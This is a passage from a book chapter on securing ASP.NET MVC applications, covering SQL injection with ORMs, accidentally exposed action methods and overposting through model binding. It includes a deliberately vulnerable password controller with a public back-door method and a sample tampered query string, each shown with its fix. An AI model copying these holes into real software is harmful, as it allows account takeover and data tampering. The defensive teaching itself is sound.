SQL injection vulnerabilities are absolutely devastating, but they aren't such a common problem in newly built applications. One reason is that most web developers are now fully aware of the danger, and the other is that our modern programming platforms often contain built-in protection.

If your data access code is built on almost any object-relational mapping (ORM) tool, such as LINQ to SQL, NHibernate, or Entity Framework, all its queries will be sent as parameterized queries. Unless you do something unusually dangerous—for example, constructing unparameterized HQL or Entity SQL queries[101] dynamically with string concatenations—the SQL injection danger vanishes.

Using the MVC Framework Securely

So far, you've learned about the general issues in web application security, seeing attacks and defenses in the context of ASP.NET MVC. That's a great start, but to be sure your MVC applications are secure, you need to bear in mind a few dangers associated with misuse of the MVC Framework itself.

Don't Expose Action Methods Accidentally

Any public method on a controller class is an action method by default, and depending on your routing configuration, could be invoked by anybody on the Internet. That's not always what the programmer had in mind. For example, in the following controller, only the Change() method is supposed to be reachable:

public class PasswordController : Controller
{
    public ActionResult Change(string oldpwd, string newpwd, string newpwdConfirm)
    {
        string username = HttpContext.User.Identity.Name;

        // Check that the request is legitimate
        if ((newpwd == newpwdConfirm) && MyUsers.VerifyPassword(username, oldpwd))
            DoPasswordChange(username, newpwd);
        // ... now redirect or render a view...
    }
public void DoPasswordChange(string username, string newpassword)
    {
        // The request has already been validated above
        User user = MyUsers.GetUser(username);
        user.SetPassword(newpassword);
        MyUsers.SaveUser(user);
    }
}

Here, the absentminded programmer (or disgruntled employee) has marked DoPasswordChange() as public (you type it so often, sometimes your fingers get ahead of your brain), creating a fabulously subtle back door. An outsider can invoke DoPasswordChange() directly to change anybody's password.

Normally, there's no good reason to make controller methods public unless they're intended as action methods, because reusable code goes into your domain model or service classes, not into controller classes. However, if you do wish to have a public method on a controller that isn't exposed as an action method, then remember to use the [NonAction] attribute:

[NonAction]
public void DoPasswordChange(string username, string newpassword)
{
    /* Rest of code unchanged */
}

With [NonAction] in place, the MVC Framework won't allow this particular method to match and service any incoming request. Of course, you can still call that method from other code.

Don't Allow Model Binding to Change Sensitive Properties

I already mentioned this potential risk in Chapter 12, but here's a quick reminder. When model binding populates an object—either an object that you're receiving as an action method parameter, or an object that you've explicitly asked the model binder to update—it will by default write a value to every object property for which the incoming request specifies a value.

For example, if your action method receives an object of type Booking, where Booking has an int property called DiscountPercent, then a crafty visitor could append ?DiscountPercent=100 to the URL and get a very cheap holiday at your expense. To prevent this, you can use the [Bind] attribute to set up a whitelist that restricts which properties model binding is allowed to populate:

public ActionResult Edit([Bind(Include = "NumAdults, NumChildren")] Booking booking)
{
    // ... etc. ...
}

Alternatively, you can use [Bind] to set up a blacklist of properties that model binding is not allowed to populate. See Chapter 12 for more details.

Summary

In this chapter, you saw that HTTP requests are easily manipulated or faked, and therefore that you must protect your application without relying on anything that happens outside your server. You learned about the most common attack vectors in use today, including cross-domain attacks, and how to defend your application against them.

In the next chapter, you'll finally get your applications onto a live, public web server, as Chapter 16 explains the process of deploying ASP.NET MVC applications to IIS.



[97] telnet isn't installed by default with Windows Vista or 7. You can install it using Control Panel

Forging HTTP Requests

[98] From OWASP's "Top 10—2010" vulnerability list, published November 2009 (available at www.owasp.org/images/0/0f/OWASP_T10_-_2010_rc1.pdf).

[99] Such "social engineering" is not very difficult. An attacker might hide the long URL by putting it through a URL-shortening service like TinyURL (http://tinyurl.com/), and then entice a specific person with a simple e-mail (e.g., "Here are some interesting photos of your wife. See http://..."); or an attacker might target the world at large by paying for a spam mailshot.

[100] Thousands will tell you that stored procedures are somehow faster or more secure, but the arguments don't match the facts. Stored procedures are nothing but parameterized queries (just stored in the database). The execution plan caching is identical. I'm not saying you shouldn't use stored procedures, just that you don't have to.

[101] HQL and Entity SQL are string-based query languages supported by NHibernate and Entity Framework, respectively. Both look and work nearly like SQL, but operate on a conceptual view of your domain model rather than on its underlying database tables. Note that NHibernate can also be queried though its ICriteria API, and Entity Framework supports LINQ queries, so you don't normally need to resort to constructing HQL or Entity SQL string-based queries.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.145.158.173